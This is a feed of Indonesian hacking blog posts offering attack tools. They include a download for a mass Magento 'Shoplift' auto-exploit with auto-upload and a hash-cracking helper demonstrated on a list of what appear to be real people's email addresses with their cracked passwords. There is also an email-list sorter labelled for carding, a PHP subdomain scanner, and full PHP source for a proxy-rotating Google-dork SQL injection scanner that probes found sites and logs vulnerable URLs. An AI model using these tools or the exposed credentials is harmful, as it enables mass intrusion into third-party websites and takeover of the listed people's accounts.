Mass Magento Shoplift Auto Exploit + Auto Upload Package/File-system

Juli 11, 2016

<div><div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: left;">
No bacod,,,nih screenshootnya</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFxCyOcaj8bOx-URpEzUydoaOhz51dwzSx3B7dlWWGqVGgPMsgQnnmd7ntk4n5xiWNCgtQweBpAJgnCMlEPoWf33six4wHh97lyPSynIA6eLarpcVTspmjLrHDcSaQQ6aMAOFxluvS7CiC/s1600/magento_new1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFxCyOcaj8bOx-URpEzUydoaOhz51dwzSx3B7dlWWGqVGgPMsgQnnmd7ntk4n5xiWNCgtQweBpAJgnCMlEPoWf33six4wHh97lyPSynIA6eLarpcVTspmjLrHDcSaQQ6aMAOFxluvS7CiC/s400/magento_new1.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimH4MTNJjMubB5sPYNc2U6hHvGjtjXm7LEoQThu6lGh666MBhGNdtLvKBYmT2fD_eM89UdQ8uIfVTZeNgS7Em_fpn8y_U81aJbOJSE3sgX64bWea9AN2DCMoj9SRh6JDwA6z3GpeSMBfA_/s1600/magento_exploiter7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimH4MTNJjMubB5sPYNc2U6hHvGjtjXm7LEoQThu6lGh666MBhGNdtLvKBYmT2fD_eM89UdQ8uIfVTZeNgS7Em_fpn8y_U81aJbOJSE3sgX64bWea9AN2DCMoj9SRh6JDwA6z3GpeSMBfA_/s400/magento_exploiter7.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAqRyMnjg0ErN0e4_wmIwUxrOAm7uDHo5H5Z2t60OYTKGhi1O_KrzQWSgDE3wIgr4KnKoybhbPGBvqwruSje2FdkM3CHhKmyOmO0VKL-azvnrLjlArUjv3OvigTukQR_8RRyXKdKhKSCQK/s1600/magento_exploiter8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="63" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAqRyMnjg0ErN0e4_wmIwUxrOAm7uDHo5H5Z2t60OYTKGhi1O_KrzQWSgDE3wIgr4KnKoybhbPGBvqwruSje2FdkM3CHhKmyOmO0VKL-azvnrLjlArUjv3OvigTukQR_8RRyXKdKhKSCQK/s400/magento_exploiter8.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeknbF2nGvJO-GG7v_7M4XCyQ7jwlrHW5kQ3dGgdCKbCfRXY8KTMzLcF8cFymoYKoXDpu5eyUh92jJ2QCKtRo3ZvSt3ZZKoQaPQs8le-x2PpZCnkGVAUkreEX2ws5nvkw0Ji0JsEukqUbh/s1600/magento_exploiter10.png" imageanchor="1"><img border="0" height="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeknbF2nGvJO-GG7v_7M4XCyQ7jwlrHW5kQ3dGgdCKbCfRXY8KTMzLcF8cFymoYKoXDpu5eyUh92jJ2QCKtRo3ZvSt3ZZKoQaPQs8le-x2PpZCnkGVAUkreEX2ws5nvkw0Ji0JsEukqUbh/s320/magento_exploiter10.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Download : <a href="http://www.mediafire.com/download/2rv4xzz6un69g7p/">http://www.mediafire.com/download/2rv4xzz6un69g7p/</a><br />
Virustotal : <a href="https://www.virustotal.com/en/file/0fedeb43fef30fefd9bf569373059861763fde537e6e1568b65bca884f5339db/analysis/1468250863/">https://www.virustotal.com/en/file/0fedeb43fef30fefd9bf569373059861763fde537e6e1568b65bca884f5339db/analysis/1468250863/</a><br />
<br />
untuk dorkernya jga bisa pke tool ane yg <a href="http://rieqyns13.blogspot.co.id/2014/07/simple-sqli-dork-scanner-v21.html">Simple SQLi Dork Scanner v2.1</a> yang bagian Searcher doank :v<br />
klo masih blum yakin ada malware'nya gak, jalanin di sandbox aja.<br />
<br />
<div style="text-align: center;">
<b>Kami tidak bertanggung jawab atas tindakan ilegal yang Anda lakukan dengan file ini.</b></div>
<div style="text-align: center;">
<b>We are not responsible for any illegal actions you do with theses files.</b></div>
<div style="text-align: center;">
<br /></div>
</div>
</div>

HashKiller Helper (Auto Crack Hash MD5/SHA1/MySQL,etc)

Agustus 11, 2015

35 komentar

Labels: C#, Hacking, Software

<div><div dir="ltr" style="text-align: left;" trbidi="on">
Ini yang fitur DeathByCaptcha-nya aktif(Enabled)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/PIQ4X1q.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://i.imgur.com/PIQ4X1q.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/vs5mPNl.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://i.imgur.com/vs5mPNl.png" width="400" /></a></div>
<br />
Dan ini yang fitur DeathByCaptcha-nya mati(Disabled)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/YQTz6aC.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="https://i.imgur.com/YQTz6aC.png" width="400" /></a></div>
Jadi kalo fitur DeathByCaptcha nya mati/disabled, ente harus masukin captchanya setiap 64 list<br />
<br />
Nih tool ngambil data dari hashkiller.co.uk trus data password yg ketemu tadi digabungin sesuai "Format hash" yg dipilih di toolnya. <br />
jadi misal ente punya banyak mailist dgn format <i>user:passwordHash</i> ato <i>passwordHash:user</i> ato cman password hash biasa, ntar ente bisa langsung masukin mailistnya ke kotak "Input Hash" trus klik Scan, ntar tinggal tunggu hasilnya di kotak "Result", dan otomatis toolnya ngegabungin user ama password yg dah dicrack tadi dengan dipisahkan delimiter. delimiternya jga bsa diganti sesuai kebutuhan.<br />
<br />
contoh:<br />
ente masukin mailist ini di Input Hash :<br />
<pre class="brush:php">drhunter@clara.co.uk:0b0295a9c33adb116095bc5bad0812a6
dori@mocomsolutions.com:4d8afe543402cc0012d93d8522dc1bfe5b214e53
mocomracing@schnorbitzland.com:e8a5131c10aa301c22b50617d0120bb1
mocomracing@gmail.com:0731fdeb307910eeaae4e58897b7baaba45e054b
info@mocomracing.com:25db79f2fc00d7cd222ef04195a1012e4ee30198
simon@kreature.co.uk:c83df40fff184a3dc7aef1f70efb8b4d3630a7d9
benholy@hotmail.com:2c4c3891e2ac6958e9810a1e49c6705784fbfa1a
rob@rob-beere-racing-co-uk:6bd38910558e5cce27d4325eb48595d2f208b147
trevor.j.campbell@blueyonder.co.uk:5df0db56ea1ac4a4792d68dbcc7190d1f0ce0020
rover620turbo@hotmail.com:eef5812933ddd7984fec568402bca184fd6cc957</pre>
<br />
Trus di "Format Hash" centang <i>user:pass, </i>delimiternya isi ':' trus klik Scan. Maka Resultnya kaya gini<br />
<br />
<pre class="brush:php">drhunter@clara.co.uk:560413731373
dori@mocomsolutions.com:asdasd11
mocomracing@schnorbitzland.com:gq8y0cjv
mocomracing@gmail.com:abhishek
info@mocomracing.com:285498
simon@kreature.co.uk:182550
benholy@hotmail.com:welcome123
rob@rob-beere-racing-co-uk:apurva12
trevor.j.campbell@blueyonder.co.uk:487415
rover620turbo@hotmail.com:sellmyhouse</pre>
<br />
Ente bisa milih mau pake fitur bypass capcay pake API deathbycaptcha.com ato mau manual ngetik captcha. untuk pke fitur bypass capcay, klik tombol DeathByCaptcha di pojok kanan bawah, centang "Enable", trus isi username ama password akun deathbycaptcha.com ente, akunnya yg ada balance nya<br />
<br />
ini support semua jenis hash yg ada di database hashkiller.co.uk, jdi gak cman md5 dan sha1.<br />
<br />
nih yg link downloadnya : <a href="http://adf.ly/1MPsW8">Download Hashkiller Helper</a></div>
</div>

Tool untuk Filter Email Berdasarkan Domain dan Extract Email

Juli 15, 2015

1 komentar

Labels: C#, Carding, Hacking

<div><div dir="ltr" style="text-align: left;" trbidi="on">
kebetulan ane punya banyak mailist gan, dan mailistnya mau ane kelompokkin berdasarkan domain dari emailnya, kya gmail.com, yahoo.com, hotmail.com, live.com, dll. klo nglompokin satu2 kan lama, makannya ane buat toolnya sendiri<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/DGSZKl7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="198" src="http://i.imgur.com/DGSZKl7.png" width="400" /></a></div>
<br />
trus bsa jga untuk delete email dari domain tertentu, misal ane gak mau ada email dari gmail.com, yahoo, trus nanti hasilnya disimpen di satu file <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/30O8Ypj.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="211" src="http://i.imgur.com/30O8Ypj.png" width="400" /></a></div>
<br />
dan bisa untuk extract email dari suatu text gan, ane pke regex klo ini<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/jjRhV7Z.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="262" src="http://i.imgur.com/jjRhV7Z.png" width="400" /></a></div>
Download : http://www.mediafire.com/download/do7528fhzlooqa3/pisahemail.rar</div>
</div>

Simple Sqli Dork Scanner v2.1

Juli 13, 2014

72 komentar

Labels: C#, Hacking

<div><div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7PGd-dvZ3BAyvpx3QIV9ed9HHVkorzBf4PBDNgIc2GNkvQPKPibKKcgTLpyYb3hG44eyPfpqXiTaB2VD_XVMFuPjRs5MWrlxvgUMG2c48q8nPUMXbfamR5gMviNl6ZBErFaySlzTSNKtp/s1600/dorkscanner_new2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="287" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7PGd-dvZ3BAyvpx3QIV9ed9HHVkorzBf4PBDNgIc2GNkvQPKPibKKcgTLpyYb3hG44eyPfpqXiTaB2VD_XVMFuPjRs5MWrlxvgUMG2c48q8nPUMXbfamR5gMviNl6ZBErFaySlzTSNKtp/s400/dorkscanner_new2.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDOURsF-prP9oW24u9ZQUuDREwUplMRNT5oIVOSHrbYmX7XKkO_jHuAY4qqAGw5vaUScVugSnhC_EZdshRQyxcMobjsCUbPLT9kLMXkDMwNrC9S3Y-bTlruJYine-MZuFbxuJDPedQwLIR/s1600/dorkscanner_new.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="231" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDOURsF-prP9oW24u9ZQUuDREwUplMRNT5oIVOSHrbYmX7XKkO_jHuAY4qqAGw5vaUScVugSnhC_EZdshRQyxcMobjsCUbPLT9kLMXkDMwNrC9S3Y-bTlruJYine-MZuFbxuJDPedQwLIR/s320/dorkscanner_new.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFvzQBYR9KwkuaB3ZtdPrlihqztQ62sqjG4FCQrwGw7TYwHhBaRiyjtNK9MlRFWXiiEpTBNE4Q_WhR5lIRzhyphenhyphentQh17C34A08mr2WaEsY83PyhqOX0v-1WMU7FqbdFi7t0cHTz0X5Z-_U43/s1600/dorkscanner_new3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFvzQBYR9KwkuaB3ZtdPrlihqztQ62sqjG4FCQrwGw7TYwHhBaRiyjtNK9MlRFWXiiEpTBNE4Q_WhR5lIRzhyphenhyphentQh17C34A08mr2WaEsY83PyhqOX0v-1WMU7FqbdFi7t0cHTz0X5Z-_U43/s400/dorkscanner_new3.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both;">
Fitur:</div>
<div class="separator" style="clear: both;">
3 Search Engine(Google, Bing, dan Yahoo)</div>
<div class="separator" style="clear: both;">
Depth Scanning</div>
<div class="separator" style="clear: both;">
Input Captcha Google</div>
<div class="separator" style="clear: both;">
Proxy list</div>
<div class="separator" style="clear: both;">
Import URLs From File</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
Download: <a href="http://www.mediafire.com/file/93w7e8lnj3c759d/simple+sqli+dork+scanner+gay.rar">http://www.mediafire.com/file/93w7e8lnj3c759d/simple+sqli+dork+scanner+gay.rar</a></div>
<div class="separator" style="clear: both;">
<span id="goog_518055999"></span><a href="https://www.blogger.com/"></a><span id="goog_518056000"></span><br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" dir="rtl" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
</div>
</div>

Simple Sqli Dork Scanner v2

Mei 07, 2014

3 komentar

Labels: C#, Hacking

<div><div dir="ltr" style="text-align: left;" trbidi="on">
ane mw share project kecil2an ane. sebenernya dlu ane pernah share nih source code. tpi tuh masih dikit banget fungsinya. skarang ane tambahin fitur Threading, Proxy, dan Depth Scan<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioGLYz0vamWAUHJ7U8NL1cS3WzyncQO4jjtju-CKOVqhyktHfT2yXcxarSyqBPed-dD5S3BAi103QYxjc6gw9qBXC45vFUOkjxlbis7ivs2ph0oOYoVe1ostMQg7sOPCFl7RhkdP08d3no/s1600/WrSj2e9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="504" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioGLYz0vamWAUHJ7U8NL1cS3WzyncQO4jjtju-CKOVqhyktHfT2yXcxarSyqBPed-dD5S3BAi103QYxjc6gw9qBXC45vFUOkjxlbis7ivs2ph0oOYoVe1ostMQg7sOPCFl7RhkdP08d3no/s1600/WrSj2e9.png" width="640" /></a></div>
<br />
situs yg dianggap vuln masuk ke tab vuln site<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmLKwmna3CYB8voq9QMQ8pj5Wm6sYJ9Gc6qT-GvUnj2OdUkWdu70y0qpl_AZkE63JxwXmP0BtI1vuhz-EpHzIKDL6bnzWZ_ePiBR94KRDa5hL7kI6_J8-665y-yQt4aGNTCexIFRimzllB/s1600/201xPuy.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmLKwmna3CYB8voq9QMQ8pj5Wm6sYJ9Gc6qT-GvUnj2OdUkWdu70y0qpl_AZkE63JxwXmP0BtI1vuhz-EpHzIKDL6bnzWZ_ePiBR94KRDa5hL7kI6_J8-665y-yQt4aGNTCexIFRimzllB/s1600/201xPuy.png" width="400" /></a></div>
<br />
tab Proxylist buat naruh list proxynya gan<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcCPODJH4ph25pKwlgcUP4o6FxLVF_qWXt0RogiJPD0Umwu3LcqwHdOAMbpwMSPgQzCEu3YGCv_BkE8RMZTxWoM_oT4ougipHWVkRPatCKkmhtnNzhLZaQQTr9GZhVSfx-PsSTWloIZHSG/s1600/73xwrw5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcCPODJH4ph25pKwlgcUP4o6FxLVF_qWXt0RogiJPD0Umwu3LcqwHdOAMbpwMSPgQzCEu3YGCv_BkE8RMZTxWoM_oT4ougipHWVkRPatCKkmhtnNzhLZaQQTr9GZhVSfx-PsSTWloIZHSG/s1600/73xwrw5.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: center;">
<a href="http://www.mediafire.com/download/r4c7rh329g271r6/simple_scanner.rar">Download Program+Source Code</a></div>
<div style="text-align: left;">
Mohon dikembangkan lgi gan</div>
<br />
</div>
</div>

Bing Subdomain Scanner

Agustus 06, 2013

Tidak ada komentar

Labels: Hacking, PHP, Programming

<div><div dir="ltr" style="text-align: left;" trbidi="on">
pada script ini, ane manfaatin service bing untuk cari subdomainnya<br />
<pre class="brush:php"><?php
/*
name: bing subdomain scanner
author: rieqyns13
usage: php bingsubdomainscanner.php site.com
*/
$args = $_SERVER['argv'];
if(!isset($args[1])){
 echo "[+]Penggunaan di terminal/cmd: php bingsubdomainscanner.php site.com";
 exit;
}else $url = $args[1];
scan($url);
function curl($url){
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
 $exec = curl_exec($ch);
 curl_close($ch);
 return $exec;
}
function scan($url){
 $i=1;
 $jum=0;
 $reg = '@^(https?\://)?(www\.)?([a-z0-9]([a-z0-9]|(\-[a-z0-9]))*\.)+[a-z]+$@i';
 if(preg_match($reg, $url)){
  while(1){
   $curl = curl("http://www.bing.com/search?q=domain:".$url."&first=".$i);
   $data = preg_match_all('#\<div class\="sb_meta"\>\<cite\>(.*?)\</cite\>#is', $curl, $m) ? $m[1] : null;
   if($data==null){
    echo "Tidak ada hasil";
    exit;
   }
   foreach($data as $dat){
    $dat_ = preg_match("|/|i", $dat) ? strstr($dat, "/", 1) : $dat ;
    $urls[$i][] = $dat_;
   }
   $count = count($urls[$i]);
   $urls_ = array_unique($urls[$i]);
   sort($urls_);
   foreach($urls_ as $url_){
    echo $url_."\n";
    $jum++;
   }
   $i=$i+10;
   if($count<10){
    echo "\nJumlah subdomain terdeteksi: ".$jum;
    exit;
   } 
  }
 }else{
  echo "URL tidak valid";
  exit;
 }
}
?></pre>
<br />

cara penggunannya cukup ketik gini di cmd
<pre>php bingsubdomainscanner.php devilzc0de.org</pre>
hasilnya lewat cmd
<a href="http://i.imgur.com/vqcdO6p.png" imageanchor="1"><img border="0" src="http://i.imgur.com/vqcdO6p.png" /></a>
jika ingin jalanin di browser, tinggal ksih tambahan html dikit 
<pre class="brush:php"><?php
/*
name: bing subdomain scanner(with html)
author: RieqyNS13
*/
ini_set("output_buffering", "Off");
set_time_limit(0);
if(isset($_POST['submit'])){
    if(!empty($_POST['domain'])){
        $domain = trim($_POST['domain']);
    }else $domain = null;
    
}else $domain = null;
?>
<html>
<head>
<title>Bing Subdomain Scanner by RieqyNS13</title>
<meta name="author" content="RieqyNS13">
<meta name="description" content="Bing Subdomain Scanner by RieqyNS13">
</head>
<body>
<form action="<?php $_SERVER['PHP_SELF']; ?>" method=POST>
<label for="subdomain">Masukkan domain</label>&nbsp<input type="text" value="<?php echo $domain; ?>" name="domain" style="width:200px" placeholder="e.g. http://gay.com or gay.com"><input type="submit" name="submit" value="Scan"><br>
<textarea placeholder="subdomain akan ditampilkan di sini" rows="20" cols="35" readonly>
<?php
if(isset($domain) && !empty($domain)){
    scan($domain);
}
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    $exec = curl_exec($ch);
    curl_close($ch);
    return $exec;
}
function scan($url){
    $i=1;
    $jum=0;
    $reg = '@^(https?\://)?(www\.)?([a-z0-9]([a-z0-9]|(\-[a-z0-9]))*\.)+[a-z]+$@i';
    if(preg_match($reg, $url)){
        while(1){
            $curl = curl("http://www.bing.com/search?q=domain:".$url."&first=".$i);
            $data = preg_match_all('#\<div class\="sb_meta"\>\<cite\>(.*?)\</cite\>#is', $curl, $m) ? $m[1] : null;
            if($data==null){
                $count=0;
                goto a;
            }
            foreach($data as $dat){
                $dat_ = preg_match("|/|i", $dat) ? strstr($dat, "/", 1) : $dat ;
                $urls[$i][] = $dat_;
            }
            $count = count($urls[$i]);
            $urls_ = array_unique($urls[$i]);
            sort($urls_);
            foreach($urls_ as $url_){
                echo $url_."\n";
                ob_flush();flush();
                $jum++;
            }
            $i=$i+10;
            a:
            if($count<10 || $data==null){
                echo "\nJumlah subdomain terdeteksi: ".$jum;
                ob_flush();flush();
                exit;
            }    
        }
    }else{
        echo "URL tidak valid";
        ob_flush();flush();
        exit;
    }
}
?>
</textarea>
</form>
</body>
</html></pre>
hasil yg lewat browser
<a href="http://img51.imageshack.us/img51/285/l6y6.png" imageanchor="1"><img border="0" src="http://img51.imageshack.us/img51/285/l6y6.png" /></a>
</div></div>

Simple Sqli Dork Scanner

Mei 28, 2013

5 komentar

Labels: Hacking, PHP, Programming

<div><div dir="ltr" style="text-align: left;" trbidi="on">
ijin share dork scan punya ane<br />
mohon dikembangkan lagi gan<br />
<br />
<pre class="brush:php"><?php
//Coded by RieqyNS13
//Greeting to Allah swt and all devilzc0de.org members
class rieqyns13{
    public $dork;
    public $jumlah;
    public $key;
    public $simpan;
 public $hapus_yg_sama;
 public $proxy;
 public $proxy_file;
    private $useragent = array(
        'Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5',
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11',
        'Opera/9.25 (Windows NT 5.1; U; en)',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
        'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
        'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12',
        'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:50',
        'Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+2011-10-16 20:21:10',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0',
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6'
    );
    function match($start, $end, $var){
        return preg_match_all("|".preg_quote($start).'(.*?)'.preg_quote($end)."|", $var, $m) ? $m[1] : null;
    }
    function graph($dork=null, $x, $url=null){
        $ch = curl_init();
        if($dork != null && is_numeric($x)){
            curl_setopt($ch, CURLOPT_URL, "http://www.google.com/search?q=".urlencode($dork)."&amp;ie=UTF-8&start=".urlencode($x));
        }elseif($url != null && $x==null){
            curl_setopt($ch, CURLOPT_URL, $url);
        }
  if($this->proxy==true){
   curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, false);
   curl_setopt($ch, CURLOPT_PROXY, $this->proxy());
  }
        curl_setopt($ch, CURLOPT_USERAGENT, array_rand($this->useragent));
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_AUTOREFERER, true );
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
        $exec = curl_exec($ch);
        curl_close($ch);
        return $exec;
    }
 function proxy(){
  if(@is_file($this->proxy_file)){
   $file = file($this->proxy_file);
   return str_replace(array("\n", "\r", "\r\n"), "", $file[array_rand($file)]);
  }else return "tidak ada file {$this->proxy_file}, tolong buat dulu";
 }
    function parse($url){
        $this->key = str_replace(array("\n", "\r", "\r\n"), "", $this->key);
        $arr = parse_url($url);
        if(empty($arr['query'])){
            return $url;
        }    
        parse_str($arr['query'], $ar);
        $key = array_keys($ar);
        foreach($key as $a){
            $x[] = $a."=".$ar[$a].$this->key;
            }
        $imp = implode("&", $x);
        return $arr['scheme']."://".$arr['host'].$arr['path']."?".$imp;
    }
    function simpan($url){
        $fp = fopen($this->simpan, "a");
        fwrite($fp, $url."\n");
        fclose($fp);
    }
 function cekurls($urls){
  $urlv = null;
  if($this->hapus_yg_sama==false) return $urls;
  elseif($this->hapus_yg_sama==true){
   for($a=0; $a<count($urls); $a++){
    $dev = parse_url($urls[$a]);
    @$scheme[] = $dev['scheme'];
    @$host[] = $dev['host'];
    if(empty($dev['path'])) $path[] = null;
    elseif(!empty($dev['path'])) $path[] = $dev['path'];
    if(empty($dev['query'])) $prm[] = null;
    elseif(!empty($dev['query'])) $prm[] = $dev['query'];
   }
   if(isset($host)){
   $unik = array_unique($host);
   foreach($unik as $key=>$url){
    if(!empty($prm[$key])){
     $prm = "?".$prm[$key];
    }elseif(empty($prm[$key])) $prm = null;
    $urlv[] = $scheme[$key]."://".$url.$path[$key].$prm;
   }
   return $urlv;
   }elseif(!isset($host) && $this->proxy==false) echo "[Error] ";
   elseif(!isset($host) && $this->proxy==true) echo "[Proxy mungkin tidak valid] ";
  }
 }
    function scandork(){
        $dork = $this->dork;
        $dork = str_replace(array("\n", "\r", "\r\n"), "", $dork);
        $start=0;
        $jumlah=0;
        $page=0;
  $total=0;
        while($jumlah<=$this->jumlah){
            $a=0;
            $graph = $this->graph($dork, $start, null);
            $match = $this->match('<h3 class="r"><a href="/url?q=', '&amp;sa=U&amp;', $graph);
   $cekurls = $this->cekurls($match);
            if(count($cekurls)==0){
                echo "hasil tidak ada atau ada halangan captcha :p\n";
                continue;
            }
            $mulai = time();
            foreach($cekurls as $url){
                $urlp = $this->parse(urldecode($url));
                $graph = $this->graph(null, null, $urlp);
                if(preg_match("/error in your SQL syntax|mysql_fetch_array|execute query|mysql_fetch_object|mysql_num_rows|mysql_fetch_assoc|mysql_fetch\?\?_row|SELECT \* FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i", $graph)){
                    echo "vuln -> ".urldecode($urlp)."\n";
                    $this->simpan($urlp);
                    $a++;
                }else{
                    echo "NOT vuln - > ".urldecode($urlp)."\n";
                }
                $jumlah++;
            }
            $selang = time() - $mulai;
            $detik = round($selang);
            $menit = round($selang / 60);
            $jam = round($selang / 3600);
   $start=$start+count($cekurls);
            $page++;
            echo "Selesai scan page {$page} dalam : {$jam} jam {$menit} menit {$detik} detik\n\n";
        }
        echo "Jumlah situs yang discan {$jumlah}\n";
        
    }
    
}
echo "simple dork scanner by rieqyns13\n\n";
$dc = new rieqyns13;
echo "Masukkan dork = ";
$fp = fopen("php://stdin", "rb"); //dorknya
$str = fgets($fp);
echo "Masukkan simbol/key = "; //simbol yg disisipkan pada url
$key = fgets($fp);
fclose($fp);
///OPTION///////////////////////////////////
$dc->hapus_yg_sama = true; //isi true jika ingin menghapus url yg sama dalam setiap page, false jika tidak
$dc->proxy = true; //true jika ingin menggunakan proxy yg ada di $dc->proxy_file, atau false jika tidak ingin menggunakan proxy
$dc->proxy_file = "proxylist.txt"; //digunakan jika $dc->proxy=true, setiap proxy yg ada di dalam file harus menggunakan susunan -> proxy:port . contoh "914.143.141.131:8080"
$dc->jumlah = 300; //jumlah situs yg discan
////////////////////////////////////////////
$dc->dork = $str;
$dc->key = $key;
$dc->simpan = "url_vuln.txt";
$dc->scandork();
?></pre>
copas ke notepad trus simpan dgn extensi php, trus buka cmd, masuk ke path dmana taruh file php tadi, trus jalanin pke printah php scan.php, dgn syarat path nya harus udah ditambahin/diatur ke c:\xampp\php
<br />
<a href="http://i.imgur.com/vVJUNB7.png" imageanchor="1"><img border="0" src="http://i.imgur.com/vVJUNB7.png" /></a>
<br />
<br />
dan ini gambar jika menggunakan proxy<br />
<div class="separator" style="clear: both; text-align: center;">
